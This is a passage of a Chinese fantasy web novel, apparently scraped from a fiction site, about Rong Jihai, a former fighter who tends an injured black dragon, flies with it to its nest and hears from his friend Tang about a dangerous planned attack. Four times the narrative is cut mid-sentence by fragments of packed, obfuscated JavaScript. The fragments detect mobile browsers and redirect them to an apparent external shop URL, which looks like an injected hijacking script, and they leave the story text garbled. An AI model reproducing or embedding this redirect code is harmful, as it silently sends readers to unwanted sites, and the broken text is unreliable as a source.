他一手抚上去,动作轻柔地用指尖拂了拂,若有所思地低头沉默了。 见人拉着自己的翅膀久久没有动静,龙动动背部的肌肉,带动翅膀一掀,差点把荣纪海给掀得跌坐在地。 “……你这脾气长得有点快啊。”荣纪海扶住龙的身体站稳,话是这么说了,他的脸上却毫无困扰之色,反而愈加柔和了。 他最后看一眼翅膀上的痕迹,内心挣扎了一下,还是摇头道:“抱歉,这个伤……我暂时治不了。” 虽然这头龙应该还是听不懂。 但荣纪海扶着龙的手无意识地摩挲手感挺好的龙鳞,习惯了那冰凉后,这个动作比起是在安抚龙,倒更像是在安抚他自己了。 龙确实没听懂,老样子歪了歪头,看了荣纪海半晌,尾巴凭空一甩,越过荣纪海身侧时,那力道掀起的风浪让荣纪海用了九成力才勉强抑制住自己防御的欲望。 他只是一手按在鳞片上,僵硬地立在原地,等着看龙究竟想干什么。 尾巴最后弯了个大圈,将荣纪海圈在龙的身侧,尾巴尖恰好落在荣纪海面前。 这……又是什么意思? 荣纪海没有养过猫猫狗狗或是任何其他宠物,不过前同事倒是有带过自家猫狗到工作现场去,他偶尔路过时总能看见前同事自顾自用人类语同自家宠物无障碍交流。 人与宠物交流的本质大概就是靠赌和自信吧,荣纪海有些无奈地想。不过很遗憾龙并不是他的宠物,而他的目的……也不只是照顾落难的可怜小动物那么简单。 他打起精神尝试试探龙这一举动的用意,首先便弯腰把眼前的尾巴尖搂进怀里,不怎么费力地抬了起来。 “怎么了?难道尾巴上也有伤?” 龙见他抓住了自己的尾巴,轻轻一扬,毫不费力地将尾巴尖从荣纪海怀里抽了出去,在空中晃荡一阵后,尾巴尖从上而下垂落在荣纪海眼前。 “……”荣纪海沉默了,他想到当时那位前同事随手扯了根野草,在自家宠物面前不断摇晃的样子。 莫非…… 荣纪海怀着微妙的直觉再次抬手去抓,而那尾巴尖与那根野草重合,在荣纪海即将碰到时向上一晃,又悠悠地悬停在半空中。 “……”荣纪海呆了几秒,被这几乎是荒唐的可能性打败了。 他身体摇晃一下,从今早醒来开始便挥之不去的丝缕坏情绪被如今离谱的场面挤出脑海,他满脑子都是两个场景重叠生出的问号,最后放弃似的干脆就地一坐,向后靠在龙的尾巴上。 “哈……真是……所以在你眼里,我是你的宠物吗?”荣纪海不带什么情绪地自嘲,摸摸随着他的姿势转变而跟着下垂的尾巴尖。 这一次,龙没有再把尾巴抽走,而是顺从地让荣纪海把尾巴捞进怀里。 荣纪海低垂眼眸揉搓龙的尾巴尖,那里并没有如他认知中冒着火焰,但最尖端依然是温热的,令他忍不住又多磨搓了几下。 他抬眼对上龙瞳,自己都没发觉自己正浅笑着,“怎么不玩了?虽然我不是你的宠物,但——” 他突然卡了壳。 龙瞳温和地注视着他,那眼神像极了人类般蕴含无数细腻的感情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052615|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 荣纪海想,他是在哪里见过这样的眼神呢? 回忆起来并不费什么力气,因为记忆中的眼神恰好也是出现在那位前同事身上——同样的那个午后,那位前同事回来据点时手臂伤得严重,没有靠近自家宠物,只是站在下风处远远看着猫狗追逐打闹,又一起埋头在饭盆里吃得畅快。 …… “怎么不过去?” “过去了它们就会发现我受伤啦,那可不好。它们只要开开心心无忧无虑的就好啦,那么短的生命,没必要再勉强容纳下对我的担心了。” …… 荣纪海慢慢收了笑,他心里浮现出一个猜想,但那怎么可能呢—— 如果龙,如果这个物种,真的具有相似甚至同样的感情,如果它——它们能够接受人类靠近至此,如果这些才是龙的真实面貌,而不是…… 那么过去的那些,又是为什么会演变到如今的地步呢。 荣纪海的手指扣进鳞片间的缝隙,像是喃喃自语般开口,声音轻得如风拂过,“你是……想逗我开心吗?” 龙歪歪头。 它听不懂。而他也听不懂。 铺天盖地的失落与难过突然淹没了荣纪海的口鼻,自昨天下午龙降落在他面前……或者说,自一个多月前他来到这里时起,始终被不动声色压抑的情绪冲破早已岌岌可危的闸门,在这个平淡的中午再一次在他内心掀起不甘的巨浪。 如果能交流的话,如果能理解的话——一切都会不一样吧。 荣纪海深深大口呼吸几次,咽下涌上喉口的哽塞,一手胡乱地遮面几秒,便迅速站起来,放下手时面上已恢复了平静。 龙的脸部与人类的脸部构造并不相同,龙的五官理应是做不出任何表情的,但荣纪海不知为何却总觉得,龙似乎饱含了担忧与关心——也许还有些怜悯——地观察着他的情绪。 如果它有眉毛——荣纪海莫名发散——也许现在已经皱起来了吧。 他怀着些许感激与不明的情绪走向龙的头颅,余光里龙尾依然跟着他移动,蠢蠢欲动着想要再次把他圈进去。 龙稍微抬起脖子,吻部与荣纪海的脸的位置齐平。 荣纪海几乎是用气声耳语,“谢谢你,真的,不管你能不能明白我的意思,”他扶住龙的下颌,又张开怀抱,让自己的胸膛抵上包裹着尖牙的吻部,“这样的话,就足够了,哪怕只有这个。” 龙的鼻尖盈满了人类心脏的味道,对于龙而言太过微弱的搏动也因距离过近而足够清晰。那与它记忆中的人类有所不同,更加有力而活泼,却也掺杂了更多杂音。 奇怪的是,那些杂音并非充满了龙见惯了的血色与敌意,会刺得龙鳞片炸开,反而调转了刀锋扎进那颗心脏深处。 所以,他是也被刺到炸开鳞片了吗?龙轻嗅着那些虚空中只有它能闻到的,心头血的气味。 人类真奇怪,但这个人类更奇怪——怎么会有无知无觉伤害自己的人类呢? 龙闭上双眼,细细感受人类环在自己头颅两边的力道。 算啦,今天就原谅你了,幼崽就是这样的,要不断被关注着才能开心起来。 龙小小“呜鲁”了一声,长尾巴略显费力地卷上来,圈住了荣纪海的脚踝。 5. 第三天·回信 荣纪海被过亮的晨光唤醒时,他一时半会儿没反应过来自己正在何处。 他疲倦地撑着身子坐起来,茫然地回想混乱一片的记忆。 昨天……昨天干什么了来着? 对了,先是去见了唐,然后回家给龙处理伤口,结果玩起了捉尾巴的游戏…… 后来呢? 想不起来…… 荣纪海头疼地揉乱自己的头发,侧身想下床,用力的一瞬间,胃部传来的钝痛与断了信号似的黑了一片的视野将他不由分说地摁回床里。 “呃——”荣纪海忍过这一阵头晕目眩,阳光依然嚣张地折磨他闭上的眼皮。 再次睁眼时,他对上敞开的窗户,迎着毫无阻碍的晨光,终于想起昨天究竟发生了什么。 大概是在他没有发觉到的时候,自辞退后到现在便噩梦连连的夜晚不断消耗着他的精神,却因着他始终绷紧的那一根筋,愣是撑到了昨天。 直到在龙面前丢脸地情绪失控,又抱着龙头好一阵子,龙尾绕上来的温度刚刚好,他竟就那样睡在了龙尾上,这一觉便睡过了整个下午与夜晚。 但是……如果当时睡在了那里,我又是怎么回到床上的? 荣纪海一手摁着胃部一手勉强把自己撑起来,稍稍适应了一下,确定眼前不再发黑后才放心下床。 房间内的窗户不仅没有拉上窗帘,连窗都是大开的——他并没有开窗的习惯。而用来拍摄龙的摄像机连带着支架都倒在地上,不用去看,荣纪海也知道它早已没电关机了。 显然只剩下了一种可能。但荣纪海怎么都想象不出,龙是怎么用它那相对于窗户而言过于巨大的身躯,将他精准送到床上的——甚至脱了他的鞋,还给他盖了被子。 弯腰扶起支架,将摄像机放回床头柜时,荣纪海想起龙曾经对“吃”这个字眼有反应。 所以,也许这头龙真的与人类生活过?以至于甚至知道人类睡觉时需要脱鞋还要盖被子。 他伸手扶住窗柩,探身往楼下望去。 空的。 荣纪海慢半拍地愣了一下,眨眨眼,过饱的睡眠缓钝了他的思维与反应,此时竟没意识到这可能意味着什么。 他只是回到房里,对着湛蓝晴朗的天空怔了好一会儿,才又探身去看。 还是空的。 荣纪海缓慢地吐出一口气,心中没有任何负面情绪,只留一股无处可依的空茫。 他回头看了眼床头的摄像机,撑起嘴角笑了笑。 “是啊……本来就是不知道什么时候会离开的……”他对着空气低语,“不过好歹还是留了点东西,不至于毫无进展。” 荣纪海把更多的感情压进胸膛深处,背对着窗户深呼吸了一下,肩头颤动着,又平静下来。 他迈步走向摄像机,翻出充电线插上,便如过往一个多月的每一个平常一日那样下楼,准备给自己萎靡的身体补充点活下来的能量。 拿着包装面包坐在桌前后,荣纪海没有马上撕开包装,而是上下摸了摸,在自己口袋里找到手机,按开时看见邮箱上标了一个红点数字。 荣纪海呼吸一滞,丢下面包,颤抖着手点开邮箱。 回信来了。 回信内容很短,他大致扫了几眼便看完了所有,但那“有效”的字眼依然已足够鼓舞人心。 不过…… 他的目光落到最后一句话上——“如果可能的话,还需要更多素材。” 更多啊……可惜只剩下最后一点了。 荣纪海点进录音软件,看着已近二十四小时的录音按下停止键,头也不抬地潦草撕开包装袋,几口解决了面包,便要站起来回房处理昨天的音频和视频。 路过门口时,他不受控制地停下,看了大门半晌,终于想起昨天带回来的那一箱子医疗物品似乎还在外面。 就只是收拾进来,也耽误不了几分钟。 他这样说服自己,四平八稳地打开门,努力忽视突然过于空荡萧瑟的院子,往更远处摊开在地的行李箱走去。 简直像是梦境回放——如果让荣纪海形容这一刻的感受,他大概只能干巴巴地蹦出这样一句形容。 起初荣纪海只是觉得身上阴凉不少,偏头发现是自己身上与周围落了一片阴影。 大概是云吧。他这样虚弱地想着,低头时却清清楚楚地看到那棱角分明的影子。 他在空气被搅动割裂的声音传来之前抬头。 这一次,他完整地将矫健而神秘的黑龙缓缓降落的全程收入眼底。 庞然大物的体重与被搅动的空气毫不意外地在他两天未清扫的院子上扬起一片尘土,大半都落尽敞开的行李箱内,小半在裸露的还未来得及收好的医疗用品上盖了一层薄灰。 荣纪海仰头看着那双已经不再陌生的龙瞳,金色的漩涡在他眼前慢慢放大,几乎要将他心甘情愿地吸进去,从此沉迷在这样的幻梦中。 “你……”荣纪海想问什么,却因龙的靠近更先注意到那完好如初的脖颈,原本的问话被吞下,开口时变成了苍白的陈述,“你的伤好了。” 龙歪头,却收拢翅膀侧身让荣纪海看自己的翅膀背面——那里的焦黑依然没有褪去。 荣纪海难以置信地想,它这是在撒娇吗,面上却奋力才压住了自己的嘴角,克制住声带的颤抖伸出手去,轻轻推了推送到自己面前的翅膀。 “可是我治不好这个。”他重新抬头注视着龙瞳。 不知为何,他前所未有地相信,龙能明白他的意思。 但龙只是“呜鲁”了一声,收起翅膀坐在原地不动了,俨然一副要代替那些枯萎的枝干,成为这个院子第一株落地生根的新植物的模样。 荣纪海这才想起来自己没开录音,摄像机也没电了没法开启录制。 但是…… 真实的饥饿感来势汹汹,面包在情绪包裹下遮掩的假象被龙降落的气流毫不留情地掀翻。但荣纪海心情挺好地笑笑,“好吧,我明白了,你想留下来,对吗?” 龙不知是听没听懂,没有歪头却也没有其他任何反应,只是坐在那儿,只有尾巴一扬,高速下的空气负压“啪”地一声把二楼卧室的窗户给反关上了。 荣纪海没有在意可怜的窗户,也没有再纠结那伤口是如何一夜之间恢复的,同样不再询问龙为何选择留下,他只是抱着一箱药物和尘土进门。身后,龙施施然趴伏下来,一侧的龙瞳直直对着大门。 荣纪海本想带上门的脚一顿,最后还是放了下来。 进门后,实在抵不住汹涌的饥饿感,荣纪海就地放下箱子,转身便进了厨房。 打开冰箱抽出速冻食品时他顿了顿,回望门外视野死角里的龙。 要不……还是找个机会给它做一顿?荣纪海边考虑可能要用到的食物分量,边随意点了点数开锅放水。 不过,似乎直到现在都没见过龙吃东西……不会真的趁他没注意时偷偷跑去吃人吧? 这个猜想仅仅在荣纪海脑子里掠过一瞬,便被他干脆丢进了垃圾桶。 那头龙……最起码只是它的话,应该不会做出这样的事情。 荣纪海垂下眼帘,注视着烧开冒泡的水。 总觉得,它和——它们,是不一样的。 就像人类社会里也有好人与坏人之分,同样也有处于灰度界限内的人一样。 会是这样吗?龙的种群中,也会有这样的思想差异吗? 荣纪海叹了口气,等待过程中掏出手机给那封来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052616|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信写回信。 [明白,接下来我会陆续再发更多素材,其中包括视频,麻烦老师分析一下它的行为。另外,老师不必担心这些素材的来源,我确定我现在很安全,也许我们可以在它身上收获更多,甚至是我们曾无法想象的细节,这是最重要也是最首要的事情。] 他一字一句打完,手指游移一下,还是删去了最后的那个,在对面眼里也许过于天真的问句。 【其实,我还有一个问题,您觉得龙可能会拥有与人类一样复杂的情感体系吗?】 像是被突兀穿插的回忆刺了一下,荣纪海有些瑟缩地收回指尖,确定邮件成功发送后便收起手机,专注于搅动锅里的午餐上。 —— 依然身着奇异服饰的唐大大咧咧地靠在简陋的接诊台上,听着身后忙前忙后叮叮当当的动静,百无聊赖地举着手,看着手腕上的流苏晃动。 “李,我昨天见到他了。” 她突然出声,身后突然静了一瞬,紧接着便响起更大的“哐当”声,似乎是什么大型物件掉落在地。 唐没有转身查看。虽然身后那个人只有独臂,但也没那么容易被物件砸死。 “哐当”声后,许久没有动静。 不会吧,不会真砸死了吧? 唐憋了一会儿,终于忍不住转身,目光触到正好好站着毫发无伤的人影上时,又无奈地大声感叹道:“拜托,不要在东西砸到地上后沉默那么久好不好,我还以为你没死在战场上,结果死在自己的机器下了呢。” 被唤作李的男子像是才被唐喊回神,僵麻的手动了动,微微摇头,报复似的喊唐的本名:“多琳,你不该告诉我这个的。” 唐厌恶地皱起脸,“呃,不要这么喊我,算我求你。” 她平复了一下作呕感,才重新开口道:“我真搞不懂你们,我记得你们之间没有矛盾,为什么会变成现在这样?” 李对唐的推断不置可否,把机器放回它该去的地方,等以堪称蜗牛的速度整理好一切后,才慢悠悠地回答唐的疑问:“我说了,这不是我们之间任何一个人的问题,把我换成任何一个其他人,都依然会是这个结果,如果一定要有个罪魁祸首,那我的答案依然是他那莫名其妙的负罪感。” “所以你知道?那为什么不和他聊聊?” “有什么必要吗?我已经退出了,而他现在也退出了,一切都已经结束了。更何况,哪怕是我还没退出时,我也没能帮到他任何事情。”李给自己和唐都倒了杯水,手指摩挲着自己的杯口,“甚至到了最后,我连我自己的心都看不清了。” 唐凑近了点,用耳语的音量温和地问道:“所以,你才一定要退出吗?即便付出一条手臂的代价。” 李看了眼自己只剩一小块肌肉的右臂,没有回答。 唐等了一会儿,只觉无趣地叹了口气,目光转向诊所的门外,“可是,我总觉得,他也许还没有真正放弃。” “……那也与我无关了。我早就想清楚了,那不是我想要走的道路……现在这里才是。” 唐回头凝视着李的脸庞,那与她更鲜活的记忆中的样子瘦削太多,“是吗?”她环视一圈这个小小的,通常几乎没有病人光顾的诊所。 “好吧,看来是我冒犯了。”唐起身,准备离开,“如果你是这样想的话,我频繁来这儿也许会给你带来麻烦吧,毕竟你似乎完全不想与那边有任何纠葛了。” “你这话说的……难道他不也是吗,直接跑进谁也找不到的地方里去了。” “嗯……”唐随意地拎起自己的外套,披在身上,遮盖住那身过于显眼的服装,她想起那些显然是过量的药品,想起荣纪海本想同意,却又欲言又止的拒绝。 “谁知道呢。” 6. 第三天·窝 荣纪海在午后令人昏昏欲睡的阳光里关闭邮箱,拿起桌角摆着的一本小册子。 翻开前,他稍微往左探头,良好的视野让他正好能看见一头黑龙悠闲地沉睡在自家院子里——哦不,应该没有沉睡,因为那条大尾巴还在轻微摆动着。 原本卧室里并没有摆放用来办公的桌子,但鉴于龙似乎铁了心要在前院安家,荣纪海便把储物室里闲置的可拆卸书桌连同书架一起,干脆摆到了窗边,以便在室内时也能留意到龙的动向。 荣纪海打开小册子,提笔记下:[偶尔会晃动尾巴,据观察极大可能为心情愉悦的表现,该行为与犬科动物中的狗类似。] 在这条上面,同样笔迹较新的还有几行。 而这本册子看着有些年头了,边角轻微破损,又被胶带包起来防止彻底散乱。荣纪海摩挲了一下那块边角,合上已用了一半的册子。 十几年,也就只有这些…… 荣纪海有些怅然地起身,目光越过窗户时,他突然有一股冲动。 这幼稚的冲动已阔别许久,在他还没有这窗台高时便早已消失,如今却突兀地出现在这个平平无奇的时刻——不合理,但却让荣纪海更难以抑制。 他盯着黑龙背刺整齐排列的脊背,一双翅膀正懒洋洋地完全摊开,像极了城市里用来高空救援的救生垫。 他承认他确实头脑一热,但——管他呢,反正也不会死。 荣纪海的这个念头只在脑海里留了个尾巴,便随着他从窗台跃下的动作被掠过耳畔的风捎走。 二楼的窗台对于成年人而言并不算特别高,但对于小孩而言与摩天大楼无异。 孩子的身子骨轻,他们家族更是。如果够高而风够大,甚至会横生被风托着的错觉,即便几秒后依然逃脱不了重重砸在现实的地面的结局,但仅仅那几秒的腾空与自由便已足够吸引顽皮的孩子尝试一二。 孩子的大脑自然不会想那么多,跳下去的一瞬间既不会想摔死了怎么办,也不会想没摔死怎么办。家庭与未来乃至人类,在孩子的眼睛里都太大了,大得像是房间里的大象,反而不比跳下窗台的勇气在意多少。 当然,孩子也并不愚蠢,孩子也怕疼,因此他之所以敢那样跳下去,是因为…… 荣纪海在耳旁静谧的那一瞬间,强烈的既视感模糊了他的视线——幽暗的夜晚,点点荧光的草坪,不远处草丛里小探照灯一样的两点光,还有……还有…… 自信于身下会腾起并让自己安稳降落的一阵风。 他没来得及细想这些似曾相识的场景,身体已先一步落地——准确来说并没有落在地上。 荣纪海虽然没有发出任何声音,龙也没有抬头,但它似乎感应到了什么。 并不是风接住了荣纪海,而是一丛温暖却不烫人的火焰。 蓝黑色的火焰在荣纪海身下蔓延,荣纪海只觉像是陷入了棉花里,明明那些火焰似乎没有实体,抓在手中便飘散而去。 荣纪海被火焰放在了龙的背上。 还未来得及向龙解释自己的行为,一阵失重感便先一步袭来。 荣纪海的脚微微一动,空气紊乱了少许,又很快平静下来, 他慢一步抬手抓住龙的背刺,下一秒,同样不打招呼就腾空而起的龙便扇动起翅膀,越过树尖,开始低空飞行。 荣纪海抓着龙的背刺支撑着站起身,好在龙飞得不快,他在龙背上站稳并不花多少气力。 他熟练地往前走到龙背与脖颈交界的地方,靠在第一根与第二根背刺中间,细细观察着龙拍动翅膀时身体骨骼的变化。 想到了什么,他一摸口袋——空的。 手机放在桌上没拿下来……荣纪海遗憾地叹了口气,这下成也冲动,败也冲动了。 荣纪海并不担心龙这么飞被看见的可能性,毕竟当初他们第一次见面时,龙就躲过了所有山里可能存在的其他视线,精准地出现在他面前。 说起来,它是怎么隐藏自己行踪的呢?他想到了市区内的唐,那里虽然离这座山有段距离,但想要完全躲过人类的视线未免也太困难了。 所以……是有什么我没察觉到的方法吗? 荣纪海收了享受的心思,抬头顺着龙一上一下的翅膀尖环视一圈,却没有发现可以用来隐藏身体的……任何东西。 他愣了一会儿,突兀刮过的一阵强风晃动了他无意识松开背刺的身体,也唤回了他的神智。 算了。他这样想着,放任自己滑坐在两枚骨刺之间,一手拉住身前的突起稳定身体。 荣纪海慢慢松下劲儿来,自来到这山里起,第一次好好看见了自己身边近在咫尺的风光。 龙划过的风浪拂过树顶,到了顶端便逐渐变细的树枝时不时打在龙的鳞片上。荣纪海本以为那些树枝会被折断,却没想那些细弱的枝干弹力十足,压弯后又原样弹回去,掠过荣纪海流连的余光。 前面传来一声悠长的龙吟,回音悠悠,却吓得荣纪海拍拍手旁的鳞片:“小声点,会被发现的。” 龙不知是听没听懂,总之是没叫了,收拢翅膀减速作势降落。 意识到龙的动向,荣纪海站起身打量周围的环境。 当初选择这座山落脚的首要原因就是没有常住人口,用地批准难下来,若不是他几年前留了个心眼,此时倒还真没处去了。 没有人,离市区太远,山底下还放了禁止入内的护栏——因此绝大多数地方都保留着最原始的生态样貌。 除了他眼前的这个…… ……什么东西。 龙趴伏在地上,大概是在示意让荣纪海下来。 荣纪海往前走了点,从龙的脖颈处滑下,落地时柔软过头的草地差点让他丢脸地没站稳。 这过于柔软的地面让他心里有了些猜测。 他半蹲下来用手指按按地面,就着这个姿势仰头看龙,“这是……你的窝?” 这块地方是一片凹下的低洼地,地上除了草就是树桩,只有靠中间的位置有一棵还算枝繁叶茂的大树,孤零零地伫立在这片空旷的低地。 荣纪海远远看了一眼离自己最近的树桩,树皮上留下的爪痕微妙地暗示着这树桩究竟是怎么来的。 外来物种毁坏树木是违法的吗? 荣纪海没头没尾地发散,不明所以地又去看龙。 “你带我来你的窝里……为什么?” 龙没有理会他,自顾自地走到那棵仅存的树下,朝树冠里低叫两声,直起身体探出前爪,在树叶遮盖中掏着什么。 荣纪海只好起身跟过去。 “这种时候怎么又变得没那么通人性了。”他嘟囔着,走到黑龙的后爪边上,抬头试图透过层叠的枝叶看清龙正掏着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052617|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西。 很快,不用他再费力辨认,龙收回爪子,爪间勾着什么东西。 龙动了动后爪,轻柔地碰到荣纪海的胸膛。 荣纪海微微愣了一瞬,反应过来,退后几步。 龙将爪间的东西扯下来,搁到荣纪海退开几步后空出的地上。 那是一丛形状怪异的果子,果皮是浅紫色,每颗果子表皮都有不同数量的不规则凸起,并不是在人类世界中能够见到的种类。 荣纪海心一沉,面上却吃惊地上手要摸:“这是什么果子?从来没见过——” 龙适时用爪子罩住果子,没让他碰。 荣纪海抬头观察龙的眼神,“怎么了?” 龙低吼一声,有些苦恼似的,利爪爪尖在果子上犹疑着,最后费力又小心翼翼地试着去将果子表皮分离出来。 荣纪海只是旁观着,没有上手帮忙的打算。 他目光微沉,视线落在果子上,注意力却已跑到千百里外。 这是哪来的?它为什么会有这个,甚至知道…… 他的思路被龙推到面前的果子打断,也不知道龙是怎么做到的,虽然有些果肉被戳烂,但总体果皮与果肉是分离了。 “给我吃的……?”荣纪海指指果子,又指指自己。 龙低吟一声。 听到这熟悉的声音,荣纪海不由得想起那封邮件里的回复。 他冲龙露出一个笑,顺从地从摊开的果皮上捡起嫩白又透着晶莹的果肉,递到嘴边咬了一口。 这是并不意外的味道。 荣纪海尽力让自己的眉眼抻开,表现出一副惊喜的样子:“很好吃啊,你是在哪里找到的,真厉害!” 他自然没对龙能回答他抱有期望,仅仅是习惯性说着长句。 他心里藏着事,有些心不在焉,自然也就没有发现,龙微微歪着脑袋,听到他的话后,尾巴轻快地晃了晃。 见荣纪海三两口吃完,龙又一爪拎着剩下的果子,一爪把荣纪海握在爪间,无视了荣纪海“等——”的惊呼,低空腾起,直接省事地飞到那堆柔软的草堆上。 龙小心地放下荣纪海,确认他站稳了,才放下果子,安安稳稳地趴在了自己窝里。 荣纪海有些摸不着头脑,左看右看,龙的眼睛已经闭上了,俨然短时间内不打算把他送回家的样子。 他看看天色,无奈地暗叹一口气,干脆也就地坐下,又向后靠上龙的前爪,就这样入乡随俗地躺在龙的窝里,百无聊赖地盯着天空。 这里的视野,还挺开阔的…… 几缕阳光越过最近的小山丘落在荣纪海的半边身子上,他为此翻了个身,背对着阳光。 大抵是深陷自然里,让午后阳光的催眠功力跃升,荣纪海小小打了个哈欠,靠着冰凉舒适的龙鳞闭上眼。 果子的事也不急这一时,睡一会儿好了…… 他这样想着,下一秒,脑子便跟断了线似的陷入一片黑暗。 —— 远方的屋内,桌上被主人落下的手机屏幕亮起。 先是弹出一个来电提醒,一分钟后自动挂断。 紧接着,气泡般的短信提醒涌进十几条,未静音的手机低声嗡鸣个不停,却没法引起压根不在现场的主人的注意。 无人操作的手机息屏,十几条消息后,便再也没了动静。 7. 第三天·变故 荣纪海推开房门,毫无形象地放任自己瘫倒在椅子上。 “一下弄到晚上了啊……”荣纪海揉捏着自己的脖子,手臂抬起来时,一片沾着衣服的落叶飘荡下来,落在桌面上。 龙在小憩后又拎着他几乎把整个山内转遍了,若不是有被发现的风险,荣纪海都要怀疑龙是不是还想带着他在山的外围也绕一圈。 他拿起被落下一天的手机,刚按亮屏幕便看见了来自唐的消息轰炸。 荣纪海一愣,条件反射地转头看一眼楼下的龙,踌躇了一下,起身关了窗,又踱步到床边才回拨电话。 “唐,我才看到你的消息,什么情况?” “啊——你终于看见了,要是再晚点你可能都联系不上我了。” 荣纪海无视了对面玩笑的讽刺,环顾了一下自己滚了无数个地方的衣服,最后选择屈身在床边的地板上坐下。 他背靠着床,有些疲惫地曲起一条腿,拿着手机的手肘支在膝盖上借力。 “别开玩笑了。他们……认真的吗?” 那边语气也沉下来,“嗯,我觉得是。他们甚至都找到李那边去了,你说呢。” 荣纪海沉默几秒,“我没有接到任何消息,除了你的。” “估计是觉得你肯定不会同意?啊总之,有什么办法能阻止他们吗?” “……你不是挺想开展你的研究吗?这也是个机会吧。”荣纪海没有正面回答唐的问题,反而语气淡淡地谈起唐的理想之一。 “是这样没错啦,但……这种情况下突然要求集结进攻,这和送死有什么区别,我可不想死在研究的路上。” 荣纪海抬手按压了一下自己的太阳穴,只觉得头疼,“我能有什么办法,我还在的时候就无法说服任何人,更何况我已经离开了。” 他犹豫了一下,还是开口安慰道:“如果招不够人的话,大概也就放弃了。据我所知,他们虽然偏激,但还不至于没有脑子。” 那边却突然陷入了一阵沉默。 荣纪海在这不寻常的静默中感知到什么,语气严肃了些:“唐,到底怎么回事?你是不是知道他们为什么突然发难?” —— 唐整个人蜷缩在桌子底下,黑暗的屋内唯一的光亮就是她面前的电脑屏幕。 她着魔了似的盯着屏幕,耳边电话那一头,荣纪海还在焦急地询问。 但她只是愣愣地看着那则刚刚发来的内部消息,眼中光华流转。 许久,她才开口,嗓音略微沙哑:“我不好说,荣,也许真的疯了也说不定呢。” “……什么意思。” 唐“啪”地一下合上电脑,唯一的光源熄灭后,她泛着血丝的眼球也隐蔽在黑暗里,诸多情绪汹涌翻滚着,她不得不用更长久的沉默来压制住自己的声音不要因此抖得太厉害,以免对面察觉出异样。 她突然提醒道:“荣,我收到了这次行动的路线,似乎会经过你那一块,你……自己小心。” 对面发出了一个模糊的音节,也许是想追根究底地询问刚刚的话题,再开口时却被她带偏:“我好像没有告诉过你我的确切位置。” 唐听着那头声音冰凉,轻笑出声:“拜托,这附近要走三小时的山,我虽然没有真正去过,不清楚路有多难走,但本身的距离肯定是不近的,大概推一下就知道模糊的方位了。” 她顿了顿,温和地补充道:“放心吧,我其实没有猜出来你的确切位置,但那一片嘛,你知道的,他们要从附近路过的话,你在的地方很可能会被探测到。就是因为不确定,所以想着还是提醒一下为妙。” 那边不清楚是否信了唐的解释,安静几秒后才道:“就算他们探测到我,也没那个能力把我强制拉过去,最多不过就是位置暴露换个地方罢了。” 唐的眼前一个画面一闪而过,那是昨天与荣纪海分别前,她问出那个问题后,荣纪海的那抹沉默,但并不苦涩的笑容。 “哈哈,真自信啊,荣。不过确实,你有说这句话的实力。”最后,她只是从胸腔里挤出几丝轻松,状似调侃,“我就不一样啦,你和李两个已经退了的,实在不想去就换个地方藏着就好,我怕是躲不过去了——要是我死了,就请你把你手里的资料烧给我一份吧,就当圆了我的一个夙愿?” 那边沉默半晌,似是无语至极,“你没那么容易死,”他毫无波澜地下了定义,“我——” 唐注意到荣纪海反常的卡壳,她边伸手摸索着头顶的桌底,边随意地问道:“怎么了?” “……没事,谢谢你告诉我这个消息,你自己注意安全。” 唐从桌底钻出来,把电脑随意地扔到床上,“啧啧啧,欲言又止可不是好习惯。” 她向后一倒,用了几分力气,弹性良好的床将她稍微往上弹了弹。 她一手落下,盖在电脑上,轻声与对方道别:“行了,你知道这个事了就行,”她又回想起那几段文字,光斑一样在漆黑的眼前跳跃不停,“你……” 那边忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052618|149055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半晌,终于开口原样奉还:“欲言又止可不是好习惯。” 唐喷出一声笑,抬手盖住眼睛,“荣,如果还想做些什么的话……要抓紧了。” 一切又回到几句话以前,荣纪海那个没有得到答案的问题结尾。 荣纪海最后问了一个问题。 唐怔愣了一下,还未来得及思考怎么回答,那边已经把电话挂断了。 黑暗中,唐撑起的嘴角慢慢落下来,平直地在脸颊上拉出一条线。 “哈……我以为……可原来我还有私心啊,明明都快忘了来着……” 